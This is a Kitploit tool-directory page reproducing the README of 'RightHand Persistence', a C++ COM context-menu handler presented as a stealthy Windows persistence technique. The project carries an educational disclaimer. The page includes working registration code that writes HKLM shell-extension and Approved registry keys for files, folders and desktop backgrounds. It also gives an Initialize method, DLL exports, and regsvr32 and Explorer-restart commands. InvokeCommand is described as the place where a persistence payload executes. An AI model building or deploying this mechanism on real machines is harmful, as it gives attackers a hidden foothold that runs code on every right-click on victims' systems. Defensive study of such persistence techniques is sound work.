Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
RightHand-Persistence — COM Windows Persistence Technique | Kitploit
Tools/GitHubGitHub/i014n/righthand-persistence
Persistence MechanismsExploitationPost-ExploitationLearning & EducationRed Teaming
GitHubi014n/righthand-persistence

RightHand-Persistence

COM Windows Persistence Technique

View Repository
90113 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

RightHand Persistence

inspired by CVE-2026-21509

C++ COM Context Menu Handler for Persistence

A sample implementation of a Windows context menu handler using C++ and COM, demonstrating a stealthy persistence technique. By registering a custom COM object, your code executes whenever a user right-clicks on specific targets (files, folders, or backgrounds) in Windows Explorer.

Disclaimer: This project is intended for educational and research purposes only. The techniques demonstrated here can be used for malicious purposes. The author does not condone the use of this code for any illegal activity. Be responsible and use this knowledge ethically.


POC

poc

Getting Started

Prerequisites

  • A C++ compiler (e.g., MSVC from Visual Studio, or MinGW-w64)
  • Windows SDK
  • Testing Virtual Machine (for safe registration and execution)

My Setup

  • IDE: Visual Studio 2019
  • VM Development: Windows 10 x64 (Build 19045)
  • VM Test: Windows 10 x64 / Windows 11 x64

Project Architecture

root@kitploit:~
                                       DllMain.cpp     
                                +-----------------------+
                                |  DLL Template Project |
                                +-------+-------+-------+
                            ____/           |        \_____
                            |               |             |
                            v               v             v
                    +------------+  +----------------+  +--------------+
                    |   Define   |  | MyClassFactory |  |   Define     |
    clsid_defined.h |   CLSID    |  +----------------+  |   Export     | Source.def
                    +------------+     ClassFactory     |  Functions   |
                                          class         +--------------+
                                            |
                                            |
                                            v
                                     +--------------+    
                                     | MyMenuHandler|
                                     +--------------+         
                                      MyMenuHandler
                                          class

1. DllMain.cpp

Contains the standard functions required by a COM object to register and unregister the DLL.

  • DllRegisterServer(): Writes the registry paths corresponding to the target file extensions/backgrounds. Executed when the DLL is registered.
root@kitploit:~
STDAPI DllRegisterServer() {
    std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
    std::wstring dllPath = MyGetModuleFilename();

    // 1. Register the COM Class (CLSID)
    std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
    SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");

    // 2. Register the DLL Path and Threading Model
    std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
    SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
    SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");

    // 3. Register for all Shell Contexts
    // Array of paths to cover Files, Folders, Backgrounds, and Desktop
    std::wstring handlerPaths[] = {
        L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
        L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
        L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
        L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
    };

    for (const auto& path : handlerPaths) {
        std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
        SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
    }

    // 4. Register in the Approved list (Required for many Windows versions)
    std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
    SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");

    // 5. Notify the Shell that things have changed
    SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);

    return S_OK;
}
  • DllUnregisterServer(): Cleans up the registry. Called when the DLL is unregistered.

2. MyClassFactory

Required to instantiate the COM object. Read More on Class Factories.

3. Clsid_defined.h

Contains the GUID under which the application will be registered in Explorer. You can generate a new GUID using Visual Studio's guidgen.exe or an online GUID Generator.

root@kitploit:~
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);

4. Source.def

The Module-Definition file. This dictates which functions the DLL exports. Read More on .DEF files.

root@kitploit:~
EXPORTS
    DllGetClassObject PRIVATE
    DllCanUnloadNow PRIVATE
    DllRegisterServer PRIVATE
    DllUnregisterServer PRIVATE

5. MyMenuHandler.cpp

The core class implementing IShellExtInit and IContextMenu. This is where you define your custom actions.

  • MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId) Called every time a right-click occurs on your registered target. Used to parse what file or folder was clicked.
root@kitploit:~
HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
    MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);

    // 1. Check if we clicked on a FILE/FOLDER
    if (pdtobj)
    {
        STGMEDIUM medium;
        FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
        if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
        {
            DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
            ReleaseStgMedium(&medium);
            return S_OK; // Success!
        }
    }

    // 2. Check if we clicked the BACKGROUND (pidlFolder)
    if (pidlFolder)
    {
        if (SHGetPathFromIDListA(pidlFolder, m_szFile))
        {
            return S_OK; // Success!
        }
    }

    // 3. Fallback: If we got neither, still return S_OK to show the menu.
    // You just won't have a path populated in m_szFile.
    return S_OK;
}
  • MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp) Called when the user clicks your specific custom option from the context menu. This is where your persistence payload or custom action executes.

Testing

On the target VM, copy the compiled DLL and run the following commands:

1. Registration

Register the DLL using standard Windows binaries.

root@kitploit:~
regsvr32.exe RightHandPersistence.dll

2. Restart Explorer

Restart the explorer.exe process to ensure it loads the new shell extension into memory.

root@kitploit:~
taskkill /f /im explorer.exe & start explorer.exe

3. Unregistration

To remove the context menu handler and clean up the registry, use the /u flag with regsvr32.exe. This calls your DllUnregisterServer function.

root@kitploit:~
regsvr32.exe /u RightHandPersistence.dll

Customization

1. Targeting Specific Locations

Windows categorizes "empty space" differently than files. To target the background, map your registry keys to these specific locations.

More details on mapping extensions can be found in the Microsoft Shell Context Menu documentation.

2. Creating Custom Menu Commands

You can specify custom text for the menu (e.g., "Custom Copy" or "Run Diagnostics") by implementing the IContextMenu::QueryContextMenu method. Clicking this custom text triggers your logic inside IContextMenu::InvokeCommand.


References

  • Creating Shortcut Menu Handlers (Microsoft Learn)
  • IShellExtInit Interface (Microsoft Learn)
  • IContextMenu Interface (Microsoft Learn)
  • Registering Shell Extension Handlers (Microsoft Learn)
  • Exporting from a DLL Using DEF Files (Microsoft Learn)
  • GuidGenerator.com
Download Tool
Right-click TargetRegistry Key Path
Files (All)HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers
Folders (The icon)HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers
Folder BackgroundHKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers
Desktop BackgroundHKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers